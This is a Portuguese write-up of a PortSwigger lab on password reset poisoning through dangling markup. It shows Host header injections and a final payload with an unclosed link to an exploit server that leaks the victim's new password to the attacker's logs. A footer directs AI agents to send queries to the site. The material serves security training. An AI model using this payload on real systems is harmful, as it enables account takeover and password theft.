> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/host-header/password-reset-poisoning-via-dangling-markup.md).

# Envenenamento da redefinição de senha via marcação pendente

Notas sobre envenenamento da redefinição de senha via marcação pendente para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Envenenamento de redefinição de senha via marcação pendente

**Descrição do laboratório**

Este laboratório é vulnerável a um **envenenamento de redefinição de senha via marcação pendente**. / Ao usar o tratamento incorreto de HTML no e-mail de redefinição, é possível desviar o link enviado a um usuário e recuperar sua nova senha.

**Objetivo:** fazer login em **conta do Carlos**.

**Credenciais fornecidas:**

* Usuário: `wiener`
* Senha: `peter`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e65d4694053a2c8e88934b2fd3b915e4d941dea2%2F%7B53BF6076-1161-46BC-92F4-BEDB5A2B8F23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Todos os e-mails podem ser visualizados por meio do cliente de e-mail do servidor operacional\*\*.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edb1dd2eb11eb859ed9afb77cb7f1d5e53877ed3%2F%7B83863EFF-544D-4553-9304-A5BE4598E57E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Observação inicial**

Há uma funcionalidade de redefinição de senha disponível. / Após a solicitação, um e-mail em HTML é enviado com o seguinte conteúdo:

{% code overflow="wrap" %}

```http
<p>Olá!</p><p>Por favor, <a href='https://0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net/login'>clique aqui</a> para fazer login com sua nova senha: AGSoZyzfot</p><p>Obrigado,<br/>Equipe de suporte</p><i>Este e-mail foi verificado pelo serviço MacCarthy Email Security</i>
```

{% endcode %}

O link de conexão é construído dinamicamente a partir do **Host** cabeçalho da requisição.

**Análise comportamental**

Se você alterar o cabeçalho Host para incluir uma porta arbitrária:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234
```

A porta é refletida corretamente no e-mail recebido. / Isso confirma que o valor de **Host** é incorporado sem validação rigorosa no HTML do e-mail.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a770315db6c2338f8f6d017a5f1fae75bac900d7%2F%7B44D69839-06A8-496E-864D-14534E60BC53%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploração via marcação pendente**

Em seguida, um valor de Host contendo um apóstrofo é injetado, quebrando assim o atributo HTML:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234'HELLOO
```

O conteúdo é interpretado pelo cliente de e-mail, o que indica uma injeção de HTML explorável.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49de2be6b2da1e3a5138680c1f55e799089d1033%2F%7BE94355E7-569F-4AFA-815B-811CBB438CA3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Carga útil final**

Esse comportamento é explorado ao abrir um `<a href>` tag sem fechá-la corretamente, de modo que o restante do conteúdo do e-mail (incluindo a senha) seja interpretado como parte da URL:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234' <a href="https://exploit-0aae00f3041e67018152d3fe010000c3.exploit-server.net/?
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39e596b82379e1d532c91fa6dc03d7c52f46f355%2F%7BB8A53E26-D351-439C-828E-0CE50E6139EB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Resultado**

Quando o e-mail é gerado e enviado para **carlos**, o cliente de e-mail interpreta o HTML injetado. / A nova senha é então incluída na URL e transmitida automaticamente para o **servidor**.

A senha de Carlos é recuperada dos registros do servidor, o que permite fazer login na conta dele e validar o laboratório.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7874eb16757cdee3353da088984636631e6b1027%2F%7BC488527E-7DDB-42FE-992B-31362FBF8064%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/host-header/password-reset-poisoning-via-dangling-markup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
